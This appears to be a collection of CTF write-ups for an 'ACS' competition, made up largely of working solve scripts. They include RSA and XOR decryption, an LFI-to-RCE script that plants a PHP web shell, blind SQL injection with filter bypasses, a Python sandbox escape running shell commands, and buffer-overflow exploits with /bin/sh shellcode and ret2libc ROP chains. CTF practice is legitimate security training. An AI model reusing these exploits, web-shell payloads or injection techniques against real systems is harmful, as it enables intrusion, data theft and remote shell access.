Common modulus attack
script:
from Crypto.Util.number import long_to_bytes
from sage.all import xgcd
with open("pubkey.txt", "r") as f:
n, e1, e2 = list(map(int, f.read().splitlines()))
with open("ciphertexts.txt", "r") as f:
c1, c2 = list(map(int, f.read().splitlines()))
g, a, b = xgcd(e1, e2) # extend euclid algorithm
c1 = pow(c1, a, n)
c2 = pow(c2, b, n)
print(long_to_bytes(c1*c2 % n))
Key is the 0xC0FFEE
'th fibonacci. Sagemath alreally have a fast compute function for it
script:
from sage.all import fibonacci
from hashlib import sha512
FLAG = b"ACS{??????????????????????????????????}"
def gen_key(k):
n = fib(k)
h = sha512(str(n).encode()).digest()
return h
def unpad(m):
return m[:len(FLAG)]
with open("output.txt", "r") as f:
ct = bytes.fromhex(f.read().strip())
def decrypt(c, key):
m = bytes([a ^ b for a, b in zip(c, key)])
m = unpad(m)
return m
k = 0xC0FFEE
fib = fibonacci
def gen_key(k):
n = fib(k)
print(n.nbits())
h = sha512(str(n).encode()).digest()
return h
key = gen_key(k)
pt = decrypt(ct, key)
print(pt)
Server will sign a message for us, but didn't check message smaller than N
script:
from pwn import remote, process, args
from Crypto.Util.number import bytes_to_long, long_to_bytes
HOST = ""
PORT = 1111
ADMIN_MSG = b"There are two ways to annoy people. The first thing is to stop talking and"
if args.LOCAL:
io = process("./challenge.py")
else:
io = remote(HOST, PORT)
def rla(a):
io.recvuntil(a)
return io.recvline(0)
n = int(rla(b"Modulus: "), 16)
e = int(rla(b"Exponent: "), 16)
print(f"{n = }")
print(f"{e = }")
m = bytes_to_long(ADMIN_MSG)
m_sus = m + n
print(m.bit_length())
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"> ", long_to_bytes(m_sus).hex().encode())
sig = int(io.recvline(0).split(b": ")[-1], 16)
print(sig)
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"> ", hex(sig)[2:].encode())
io.interactive()
Just replace the operator word with the symbol and than eval
script:
from pwn import remote
from tqdm import trange
func = [
("plus", "+"),
("minus", "-"),
("multi", "*"),
("divide", "//"),
("mod", "%"),
("and", "&"),
("xor", "^"),
("or", "|"),
]
def translate(expr):
for key, value in func:
expr = expr.replace(key, value)
return expr
io = remote("192.168.0.45", 50000)
io.sendafter(b"Good Luck!\n", b"\n")
for i in trange(100):
expr = io.recvuntil(b" = ", drop=True).decode()
expr = translate(expr)
io.sendline(str(eval(expr)).encode())
io.interactive()
first, binwalk it and we can see it has another png file. Open it to get the password
Unzip the other zip file, we have 16 picture that combine into a QR Code picture
This challenge is about LFI2RCE via php session upload progress, by input ?num=\n1
we can get the output of phpinfo page, save the value of session.save_path and then abusing lfi bug to include the session file
final script:
import requests
import base64
import re
url = "http://192.168.0.45:20001"
def exploit():
headers = {
"Cookie": "PHPSESSID=acd"
}
data = {
"PHP_SESSION_UPLOAD_PROGRESS": "<?php echo system($_GET['cmd']); ?>" ,
}
files = {
"file": ("passwd", 'cccccccccccccccccc', "application/octet-stream"),
}
requests.post(url, headers=headers, data=data, files=files, verify=False, proxies={"http":"http://127.0.0.1:8080"})
response = requests.get(url + "/", params={"num": "\n1", "page": "/tmp/83031eb8-41ac-11ee-b1b3-009337b0183d/sess_acd", "cmd": "cat /flag"}, headers=headers, verify=False, proxies={"http":"http://127.0.0.1:8080"})
print(response.text)
if __name__ == "__main__":
exploit()
There are two bugs in this challenge, sqli to get admin account and then rce via ejs rendering engine.
sqli in the check duplication account functionality:
script for getting column name of table user
import requests
url = "http://192.168.0.45:22223"
def bypass(payload):
for p in payload:
if p in repl:
payload = payload.replace(p, repl[p])
if("or" in payload):
payload = payload.replace("or", "oliker")
if("and" in payload):
payload = payload.replace("and", "alikend")
if("substr" in payload):
payload = payload.replace("substr", "sublikestr")
return payload
### "%27/**/oliker/**/%281=0%29/**/oliker/**/%27"
repl = {"'": "%27",
" ": "/**/",
"(": "%28",
")": "%29",
"_": r"%5f",
".": "%2e"}
column = ""
for i in range(1, 30):
for j in range(32, 127):
payload = f"""' or IF((select ord(substr(column_name,{i},1)) from information_schema.columns where table_name='user' and table_schema=database() limit 2,1)={j},1,0) or 'a'='b"""
#print(payload)
payload = bypass(payload)
# print(payload)
data_json = {"username": payload}
r = requests.post(url + "/auth/check_duplicate", json=data_json, proxies={"http": "http://127.0.0.1:8080"})
if("false" in r.text):
column += chr(j)
print(column)
break
=> userid
and passwd
Then change it a litle bit to find the passwd of admin user acs_admin
userid = "acs_adm"
for i in range(1, 30):
for j in range(32, 127):
payload = f"""' or IF((select ord(substr(passwd,{i},1)) from user where is_admin=1 limit 0,1)={j},1,0) or 'a'='b"""
#print(payload)
payload = bypass(payload)
# print(payload)
data_json = {"username": payload}
r = requests.post(url + "/auth/check_duplicate", json=data_json)
if("false" in r.text):
column += chr(j)
print(column)
break
After that, login into admin account and then rce to get the flag
Xss steal secret value in bot cookie via svg
tag with onload
attribute and then capture the image with url view-source:file:///flag
get secret
screen the flag
flag
SSTI at /{{config}}
to leak jwt secret key, then impersonate admin user poppo
and exploit local file read at /downloadifyoucan?filenameyoucandoit=...
The Program will ask user to input a mips shellcode, shuffles opcodes and execute that shellcode with mixed opcodes:
Fortunately we're able to see mixed opcode so we can write a script to mix the opcode for our shell that can execute execve
with argument /bin/sh
:
from pwn import *
r = process('./spimspim.sh')
shellcode = b"\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xf4\xff\xaf\xaf\x73\x68\x0f\x3c\x6e\x2f\xef\x35\xf8\xff\xaf\xaf\x26\x78\xef\x01\xfc\xff\xaf\xaf\x00\x00\x05\x24\x00\x00\x06\x24\xab\x0f\x02\x24\xf4\xff\xa4\x27\x0c\x00\x00\x00"
r.recvuntil(b'hexdump of op table: \n')
s = r.recvuntil(b'hexdump of register')
li = s.split(b'|')
op_table = b''
for i in li:
if b'\n' in i:
if b'hexdump' in i: continue
op_table += bytes.fromhex(i.split(b'\n')[1].decode())
else:
op_table += bytes.fromhex(i.decode())
print('op_table: ', op_table)
r.recvuntil(b'table: \n')
s = r.recvuntil(b'hexdump of funct')
li = s.split(b'|')
register_table = b''
for i in li:
if b'\n' in i:
if b'hexdump' in i: continue
register_table += bytes.fromhex(i.split(b'\n')[1].decode())
else:
register_table += bytes.fromhex(i.decode())
print('register_table: ', register_table)
r.recvuntil(b'table: \n')
funct_table = b''
for i in range(4):
x = r.recvuntil(b'|')[:-1]
if b'\n' in x:
if b'hexdump' in x: continue
funct_table += bytes.fromhex(x.split(b'\n')[1].decode())
else:
funct_table += bytes.fromhex(x.decode())
print('funct_table: ', funct_table)
# -- Shuffle opcode
i_opcode = [4, 5, 8, 9, 10, 11, 12, 13, 15, 35, 36, 37, 40, 41, 43, 48, 56]
j_opcode = [2, 3]
r_opcode = [0]
li_int = []
def find_id_op(val):
return op_table.index(bytes([val]))
def find_id_reg(val):
return register_table.index(bytes([val]))
def find_id_func(val):
return funct_table.index(bytes([val]))
def shuffle_iopcode(val):
binary_form = bin(val)[2:].rjust(32, '0')
opcode = bin(find_id_op(int(binary_form[:6], 2)))[2:].rjust(6, '0')
rs = bin(find_id_reg(int(binary_form[6:6+5], 2)))[2:].rjust(5, '0')
rt = bin(find_id_reg(int(binary_form[11:11+5], 2)))[2:].rjust(5, '0')
imm = binary_form[16:32]
return int(opcode + rs + rt + imm, 2)
def shuffle_ropcode(val):
binary_form = bin(val)[2:].rjust(32, '0')
opcode = bin(find_id_op(int(binary_form[:6], 2)))[2:].rjust(6, '0')
rs = bin(find_id_reg(int(binary_form[6:6+5], 2)))[2:].rjust(5, '0')
rt = bin(find_id_reg(int(binary_form[11:11+5], 2)))[2:].rjust(5, '0')
rd = bin(find_id_reg(int(binary_form[16:16+5], 2)))[2:].rjust(5, '0')
shamt = binary_form[21:21+5]
funct = bin(find_id_func(int(binary_form[26:26+6], 2)))[2:].rjust(6, '0')
return int(opcode + rs + rt + rd + shamt + funct, 2)
for i in range(0, len(shellcode), 4):
li_int.append(u32(shellcode[i:i+4]))
for i in range(len(li_int)):
binary_form = bin(li_int[i])[2:].rjust(32, '0')
print(binary_form)
opcode = int(binary_form[:6], 2)
print(hex(opcode))
if opcode in i_opcode:
li_int[i] = shuffle_iopcode(li_int[i])
elif opcode in r_opcode:
li_int[i] = shuffle_ropcode(li_int[i])
else:
print('lol')
exit(-1)
shellcode = b''
for i in range(len(li_int)):
shellcode += p32(li_int[i])
r.sendline(shellcode + b'\x00' * 4)
r.interactive()
# 0x3fdc1000: lui t7,0x6962
# 0x3fdc1004: ori t7,t7,0x2f2f
# 0x3fdc1008: sw t7,-12(sp)
# 0x3fdc100c: lui t7,0x6873
# 0x3fdc1010: ori t7,t7,0x2f6e
# 0x3fdc1014: sw t7,-8(sp)
# 0x3fdc1018: xor t7,t7,t7
# 0x3fdc101c: sw t7,-4(sp)
# 0x3fdc1020: li a1,0
# 0x3fdc1024: li a2,0
# 0x3fdc1028: li v0,4011
# 0x3fdc102c: addiu a0,sp,-12
# 0x3fdc1030: syscall
The challenge will show a random maze each stage, and after successfully solve it (by reaching the final tile of the maze, which is at [0x1f, 0x1f]), the challenge will create a character for the flag.
Fast way to solve is to patch the program to win everytime the game starts -> the flag will appear after we finish every level
ACS{3e88fc35ac5b6011b6e7e32afd9552666db7bb21d30e83859665ea5e2cae99bc_I7s_funny_M@ze_Gam3!_C0n9r@tu1ation$_On_C13ar!}
This challenge will check our flag by spawning thread, and do a comparison check. By extracting every comparison, we can use z3 and some guess work to recover the flag.
from z3 import *
arg1 = [BitVec(f"flag_{i}", 64) for i in range(0, 36)]
s = Solver()
def u32(x, id):
return (x[id + 3] << 24) + (x[id + 2] << 16) + (x[id + 1] << 8) + x[id + 0]
for i in range(32):
s.add(0 <= arg1[i], arg1[i] <= 0x100)
s.add(arg1[0] == ord('A'))
rax_3 = LShR(u32(arg1, 8), 5) & 0x3f
rax_7 = LShR(u32(arg1, 0x1c), 2) & 0x3f
s.add((((((rax_3 << 0xb) + 7) ^ LShR(rax_7, 4)) + (((rax_7 << 0xd) + 0x3d) ^ LShR(rax_3, 3))) & 0x3f) == 0x3f)
rax_3 = LShR(u32(arg1, 0x14), 0) & 0x7ff
rax_7 = LShR(u32(arg1, 0x1b), 2) & 0x7ff
s.add((((((rax_3 << 0xd) + 0x557) ^ LShR(rax_7, 2)) + (((rax_7 << 6) + 0x10c) ^ LShR(rax_3, 6))) & 0x7ff) == 0x79d)
rax_3 = LShR(u32(arg1, 0xc), 3) & 0x7fff
rax_7 = LShR(u32(arg1, 2), 4) & 0x7fff
s.add((((((rax_3 << 0xc) + 0xec6) ^ LShR(rax_7, 0xb)) + (((rax_7 << 1) + 0x7b9d) ^ LShR(rax_3, 3))) & 0x7fff) == 0x399a)
rax_3 = LShR(u32(arg1, 0x13), 2) & 0x3f
rax_7 = LShR(u32(arg1, 7), 4) & 0x3f
s.add((((((rax_3 << 7) + 0x27) ^ LShR(rax_7, 1)) + (((rax_7 << 1) + 0x39) ^ LShR(rax_3, 1))) & 0x3f) == 0x17)
rax_3 = LShR(u32(arg1, 0xf), 2) & 0x7ff
rax_7 = LShR(u32(arg1, 7), 2) & 0x7ff
s.add((((((rax_3 << 0xf) + 0x58f) ^ LShR(rax_7, 4)) + (((rax_7 << 1) + 0x383) ^ LShR(rax_3, 0xe))) & 0x7ff) == 0x16c)
rax_3 = LShR(u32(arg1, 0x13), 4) & 0x7fff
rax_7 = LShR(u32(arg1, 0xe), 7) & 0x7fff
s.add((((((rax_3 << 4) + 0x7482) ^ LShR(rax_7, 9)) + (((rax_7 << 0xc) + 0x7037) ^ LShR(rax_3, 0xf))) & 0x7fff) == 0x77f8)
rax_3 = LShR(u32(arg1, 2), 6) & 0x3fff
rax_7 = LShR(u32(arg1, 0x10), 7) & 0x3fff
s.add((((((rax_3 << 0xa) + 0x1575) ^ LShR(rax_7, 0xc)) + (((rax_7 << 0xc) + 0x2f62) ^ LShR(rax_3, 1))) & 0x3fff) == 0x70b)
rax_3 = LShR(u32(arg1, 0x10), 4) & 0x3f
rax_7 = LShR(u32(arg1, 0x10), 0) & 0x3f
s.add((((((rax_3 << 0xe) + 0x3b) ^ LShR(rax_7, 0xc)) + (((rax_7 << 3) + 0x33) ^ LShR(rax_3, 0xc))) & 0x3f) == 6)
rax_3 = LShR(u32(arg1, 0x1b), 6) & 0x7f
rax_7 = LShR(u32(arg1, 8), 2) & 0x7f
s.add((((((rax_3 << 5) + 0x35) ^ LShR(rax_7, 4)) + (((rax_7 << 0xd) + 0x65) ^ LShR(rax_3, 3))) & 0x7f) == 0x20)
rax_3 = LShR(u32(arg1, 0xf), 1) & 0x1fff
rax_7 = LShR(u32(arg1, 2), 0) & 0x1fff
s.add((((((rax_3 << 6) + 0x6f6) ^ LShR(rax_7, 4)) + (((rax_7 << 0xf) + 0x175b) ^ LShR(rax_3, 5))) & 0x1fff) == 0x41a)
rax_3 = LShR(u32(arg1, 0xa), 5) & 0x3fff
rax_7 = LShR(u32(arg1, 0x15), 1) & 0x3fff
s.add((((((rax_3 << 4) + 0x96f) ^ LShR(rax_7, 0xf)) + (((rax_7 << 0xf) + 0x7a5) ^ LShR(rax_3, 1))) & 0x3fff) == 0x3a87)
rax_3 = LShR(u32(arg1, 9), 0) & 0x3ff
rax_7 = LShR(u32(arg1, 0x12), 7) & 0x3ff
s.add((((((rax_3 << 2) + 0x370) ^ LShR(rax_7, 5)) + (((rax_7 << 0xf) + 0x186) ^ LShR(rax_3, 0xb))) & 0x3ff) == 0x2bd)
rax_3 = LShR(u32(arg1, 0x14), 6) & 0xfff
rax_7 = LShR(u32(arg1, 4), 1) & 0xfff
s.add((((((rax_3 << 0xc) + 0x537) ^ LShR(rax_7, 0xd)) + (((rax_7 << 5) + 0x774) ^ LShR(rax_3, 5))) & 0xfff) == 0x409)
rax_3 = LShR(u32(arg1, 0x12), 6) & 0xfff
rax_7 = LShR(u32(arg1, 0x11), 1) & 0xfff
s.add((((((rax_3 << 2) + 0xd0c) ^ LShR(rax_7, 0xa)) + (((rax_7 << 1) + 0xce6) ^ LShR(rax_3, 0xc))) & 0xfff) == 0x190)
rax_3 = LShR(u32(arg1, 0x12), 0) & 0x3ff
rax_7 = LShR(u32(arg1, 1), 7) & 0x3ff
s.add((((((rax_3 << 0xe) + 0x314) ^ LShR(rax_7, 0xf)) + (((rax_7 << 0xb) + 0x241) ^ LShR(rax_3, 4))) & 0x3ff) == 0x17a)
rax_3 = LShR(u32(arg1, 0x1b), 7) & 0x1ff
rax_7 = LShR(u32(arg1, 0x17), 0) & 0x1ff
s.add((((((rax_3 << 2) + 0x163) ^ LShR(rax_7, 0xe)) + (((rax_7 << 1) + 0x121) ^ LShR(rax_3, 0xd))) & 0x1ff) == 0xce)
rax_3 = LShR(u32(arg1, 0xc), 0) & 0xfff
rax_7 = LShR(u32(arg1, 0xa), 4) & 0xfff
s.add((((((rax_3 << 2) + 0x5f9) ^ LShR(rax_7, 0xa)) + (((rax_7 << 0xa) + 0xf9e) ^ LShR(rax_3, 0xc))) & 0xfff) == 0x2a7)
rax_3 = LShR(u32(arg1, 8), 3) & 0x3ff
rax_7 = LShR(u32(arg1, 0xd), 2) & 0x3ff
s.add((((((rax_3 << 5) + 0x3c) ^ LShR(rax_7, 8)) + (((rax_7 << 0xc) + 0x213) ^ LShR(rax_3, 1))) & 0x3ff) == 0x3ce)
rax_3 = LShR(u32(arg1, 0x11), 3) & 0x3f
rax_7 = LShR(u32(arg1, 0x1a), 3) & 0x3f
s.add((((((rax_3 << 3) + 0x20) ^ LShR(rax_7, 4)) + (((rax_7 << 8) + 0x2a) ^ LShR(rax_3, 7))) & 0x3f) == 4)
rax_3 = LShR(u32(arg1, 7), 1) & 0x7fff
rax_7 = LShR(u32(arg1, 1), 6) & 0x7fff
s.add((((((rax_3 << 0xa) + 0x3ab2) ^ LShR(rax_7, 8)) + (((rax_7 << 0xd) + 0x1c42) ^ LShR(rax_3, 3))) & 0x7fff) == 0x6220)
rax_3 = LShR(u32(arg1, 0xd), 0) & 0xfff
rax_7 = LShR(u32(arg1, 0x14), 0) & 0xfff
s.add((((((rax_3 << 0xa) + 0xbd1) ^ LShR(rax_7, 4)) + (((rax_7 << 6) + 0x9f6) ^ LShR(rax_3, 0xb))) & 0xfff) == 0x239)
rax_3 = LShR(u32(arg1, 2), 0) & 0x3f
rax_7 = LShR(u32(arg1, 0x1b), 3) & 0x3f
s.add((((((rax_3 << 8) + 0x16) ^ LShR(rax_7, 5)) + (((rax_7 << 1) + 0x1f) ^ LShR(rax_3, 3))) & 0x3f) == 0x3c)
rax_3 = LShR(u32(arg1, 1), 2) & 0x7f
rax_7 = LShR(u32(arg1, 0x17), 5) & 0x7f
s.add((((((rax_3 << 0xb) + 0x33) ^ LShR(rax_7, 8)) + (((rax_7 << 0xe) + 0xd) ^ LShR(rax_3, 8))) & 0x7f) == 0x40)
rax_3 = LShR(u32(arg1, 0x18), 2) & 0xfff
rax_7 = LShR(u32(arg1, 1), 0) & 0xfff
s.add((((((rax_3 << 5) + 0xf24) ^ LShR(rax_7, 8)) + (((rax_7 << 3) + 0xcf2) ^ LShR(rax_3, 4))) & 0xfff) == 0x7d9)
rax_3 = LShR(u32(arg1, 0x18), 7) & 0x7ff
rax_7 = LShR(u32(arg1, 0x15), 1) & 0x7ff
s.add((((((rax_3 << 5) + 0x7eb) ^ LShR(rax_7, 0xd)) + (((rax_7 << 4) + 0x789) ^ LShR(rax_3, 1))) & 0x7ff) == 0x3d2)
...
ACS{y0u50lv3DtH33xpr35510N5!}
A simple encryption algorithm, we can easily write a script to decrypt the flag
x = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!@#$%^&*()-_=+'
key = 'ACSISACEANCYBERSECURITY'
enc = bytes.fromhex('2c171c245d43000e3a24202323472130092757002a2b15')
for i in range(23):
print(x[x.index(key[i]) ^ enc[i]], end = '')
ACS{cR0s$_C0mpi1e_wi7h_Rust}
It has 2 buffer overflow bugs. The first one can leak canary because printf does not stop at null byte. We will use the second bof to partial overwrite main's return address to <__libc_start_call_main+121>, which can return to main one more time, then leak libc address then rop.
from pwn import *
p = remote('192.168.0.45', 19876)
# p = process('./register')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
payload = b'a'*0x29
p.sendafter(b'> ', payload)
p.recvuntil(b'a'*0x29)
canary = u64(b'\x00' + p.recv(7))
print(hex(canary))
payload = b'a'*0x28
payload += p64(canary)
payload += b'a'*8
payload += b'\x89'
gdb.attach(p, 'b*main+302')
p.sendafter(b'> ', payload)
payload = b'a'*0x38
p.sendafter(b'> ', payload)
p.recvuntil(b'a'*0x38)
libc.address = u64(p.recv(6) + b'\x00'*2) - 0x29d90
print(hex(libc.address))
pop_rdi = libc.address + 0x2a3e5
bin_sh = next(libc.search(b'/bin/sh'))
payload = b'a'*0x28
payload += p64(canary)
payload += b'a'*8
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(pop_rdi + 1)
payload += p64(libc.sym['system'])
p.sendafter(b'> ', payload)
p.interactive()
Set signal to SIGALRM.
Use getdents syscall to get flag name. Then orw.
from pwn import *
context.arch = "x86_64"
# sh = shellcraft.open("/home/ctf_user/flag_ed807a45f84463aac37414be73d5849c")
# sh += shellcraft.read(3, 'rsp', 0x100)
# sh += shellcraft.write(1, 'rsp', 'rax')
# print(asm(sh))
# p = process('./coding_test')
p = remote('192.168.0.45', 10137)
p.recv()
# gdb.attach(p)
# p.sendline(asm(sh))
# /home/ctf_user/flag_ed807a45f84463aac37414be73d5849c
p.sendline(asm('''
push 0
mov rbx, 0x0000000063393438
push rbx
mov rbx, 0x3564333765623431
push rbx
mov rbx, 0x3437336361613336
push rbx
mov rbx, 0x3434386635346137
push rbx
mov rbx, 0x303864655f67616c
push rbx
mov rbx, 0x662f726573755f66
push rbx
mov rbx, 0x74632f656d6f682f
push rbx
mov rdi, rsp
mov rax, 2
xor rsi, rsi
xor rdx, rdx
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
xor rax, rax
syscall
mov rdi, 1
mov rax, 1
syscall
'''))
print(p.recv(0x100))
# p.sendline(asm('''
# mov rbx, 0x002f726573755f66
# push rbx
# mov rbx, 0x74632f656d6f682f
# push rbx
# mov rdi, rsp
# xor rsi, rsi
# xor rdx, rdx
# mov rax, 2
# syscall
# mov rdi, rax
# mov rsi, rsp
# mov rdx, 0x200
# mov rax, 217
# syscall
# mov rdi, 1
# mov rax, 1
# mov rsi, rsp
# mov rdx, 0x100
# syscall
# '''))
p.interactive()
Bof in block
command. Leak through content
.
from pwn import *
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
# p = process('./rendezvous')
# p = process('./rendezvous_patched')
p = remote('192.168.0.45', 60002)
script = '''
b*0x55555555787C
b*0x555555557EF7
b*0x555555558060
b*0x555555558609
b*0x5555555555C3
b*0x5555555556bc
d 2 3
c
'''
random_str = p.recvline()[:-1].decode()
# print(random_str)
# set pass
payload = b'\xef\xbb\xbf'
payload += f'{{"cmd":0, "pass":"{random_str}"}}'.encode()
p.sendline(payload)
payload = b'\xef\xbb\xbf'
key = '0,'*0x400 + '0'
payload += f'{{"cmd":1, "key":[{key}]}}'.encode()
p.sendline(payload)
payload = b'\xef\xbb\xbf'
block = '0,'*0x108 + '"a",'*0x100 + '"a"'
content = '0,'*0x150 + '0'
payload += f'{{"cmd":2, "block":[{block}], "content":[{content}]}}'.encode()
p.sendline(payload)
p.recvline()
p.recvline()
res = p.recvrepeat(0.5)
canary = u64(res[0x108:0x110])
print(hex(canary))
libc.address = u64(res[0x138:0x140]) - 0x29d90
print(hex(libc.address))
pop_rdi = libc.address + 0x2a3e5
bin_sh = next(libc.search(b'/bin/sh'))
system = libc.sym['system']
rop = b'a'*0x108
rop += p64(canary)
rop += b'a'*8
rop += p64(pop_rdi)
rop += p64(bin_sh)
rop += p64(pop_rdi + 1)
rop += p64(system - 16)
payload = b'\xef\xbb\xbf'
block = ''
for i in rop:
block += str(i) + ','
block += '0'
content = '0,'*0x150 + '0'
# gdb.attach(p, script)
payload += f'{{"cmd":2, "block":[{block}]}}'.encode()
print(payload)
p.sendline(payload)
p.interactive()
Server receive code from input and check blacklist then exec, but it didn't clean the global variables. So in globals()
already have module "os", "sys", alse use __dict__
to acess to the method in the object
from pwn import remote, process, args
from Crypto.Util.number import bytes_to_long, long_to_bytes
HOST = "192.168.0.45"
PORT = 50137
ADMIN_MSG = b"There are two ways to annoy people. The first thing is to stop talking and"
io = remote(HOST, PORT)
src = open("src.py", "r").read() + "\nEOF\n"
io.sendafter(b"> ", src)
io.interactive()
lmao = globals()["o" + "s"]
print(lmao.__dict__["sy"+"stem"]("""`cd home && cd ctf_user && cat fla* | base64 | tr -d "\n"`"""))
If command is ADMIN
, it will open the key file, and reads its content to the stack, but later when we use the insert
function, the size
is not initialized and will still hold the value of the key
, so we can leak 3 bytes of the key (still need to send the first byte to read function). Then bruteforce one byte to get the correct key, insert shellcode then execute it.
from pwn import *
p = process('./chall')
# p = remote('192.168.0.45', 5555)
# ip = b'127.0.0.1'
port = 9999
sc = b"\x48\x31\xD2\x48\x31\xF6\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x6A\x00\x53\x54\x5F\x48\xC7\xC0\x3B\x00\x00\x00\x0F\x05"
# gdb.attach(p, 'b*main+71')
sleep(2)
p.sendline(b'INSERT'.ljust(9, b'\x00'))
sleep(2)
p.send(p32(len(sc)))
sleep(2)
p.send(sc)
for i in range(0x40, 0x41):
# for i in range(0xff + 1):
p.sendline(b'ADMIN'.ljust(9, b'\x00'))
a = (0x4e6230 << 8) + i
print(p32(a))
p.send(p32(a))
p.interactive()